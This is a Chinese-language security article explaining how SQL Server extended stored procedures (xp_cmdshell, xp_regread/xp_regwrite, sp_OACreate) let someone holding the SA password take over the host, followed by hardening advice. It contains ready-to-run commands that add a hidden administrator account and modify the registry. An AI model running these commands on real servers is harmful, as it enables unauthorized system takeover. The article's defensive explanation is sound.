存儲過程是存儲在SQLServer中的預先寫好的SQL語句集合,其中危險性最高的擴展存儲過程就是xp_cmdshell了,它可以執行操作系統的任何指令,而SA是Microsoft SQLServer的管理員帳號,擁有最高權限,它可以執行擴展存儲過程,并獲得返回值,比如執行:
exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net localgroup administrators test /add' |
這樣對方的系統就被添加了一個用戶名為test,密碼為1234,有管理員權限的用戶,如圖一所示。 
現在你應該明白為什么得到SA密碼,就可以得到系統的最高權限了吧。而往往不少網絡管理員不清楚這個情況,為自己的SA用戶起了一些諸如1234,4321等簡單的密碼,甚至根本就不設置密碼,這樣網絡入侵者就可以利用一些黑客工具很輕松的掃描到SA的密碼,進而控制計算機。
除了xp_cmdshell,還有一些存儲過程也有可能會被入侵者利用到:
1、xp_regread(這個擴展存儲過程可以讀取注冊表指定的鍵里指定的值),使用方法(得到機器名):
DECLARE @test varchar(50)EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',@key='system/controlset001/control/computername/computername',@value_name='computername',@value=@test OUTPUTSELECT @test |
2、xp_regwrite(這個擴展存儲過程可以寫入注冊表指定的鍵里指定的值),使用方法(在鍵HKEY_LOCAL_MACHINE/SOFTWARE/aaa/aaaValue寫入bbb):
EXEC master..xp_regwrite@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE/aaa',@value_name='aaaValue',@type='REG_SZ',@value='bbb' |
如果被入侵的計算機的administrator用戶可以瀏覽注冊表中的HKEY_LOCAL_MACHINE/SAM/SAM/信息,那使用xp_regread、xp_regwrite這兩個存儲過程可以實現克隆administrator用戶,得到管理員權限。xp_regdeletekey、xp_regdeletevalue也會對系統帶來安全隱患。 3、OLE相關的一系列存儲過程,這系列的存儲過程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetPRoperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,使用方法:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:/WINNT/system32/cmd.exe /c net user test 1234 /add'-- |
這樣對方系統增加了一個用戶名為test,密碼為1234的用戶,再執行: DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:/WINNT/system32/cmd.exe /c net localgroup administrators test /add '-- |
用戶test,被加入管理員組。 解決辦法:給SA起個足夠復雜的密碼,使網絡攻擊者很難破解出來。為了保險,我們還要到在SQLServer的查詢分析器中使用存儲過程sp_dropextendedproc刪除xp_cmdshell等存儲過程,需要時再使用sp_addextendedproc恢復即可,具體操作可以在SQLServer中查詢sp_dropextendedproc和sp_addextendedproc的使用幫助,需要注意一點的是刪除OLE相關系列的存儲過程,可能會造成企業管理器中的某些功能無法使用,這里筆者不建議刪除。
既然我們知道了SP_OACREATE的使用方法,那我們就可以到/WINNT/system32下找到cmd.exe,net.exe和net1.exe這三個文件,在“屬性”—“安全”中把可以對他們訪問的用戶全部刪除掉,這樣就無法使用SP_OACREATE來增加系統用戶了,在我們需要訪問這些文件的時候再加上訪問用戶就可以了。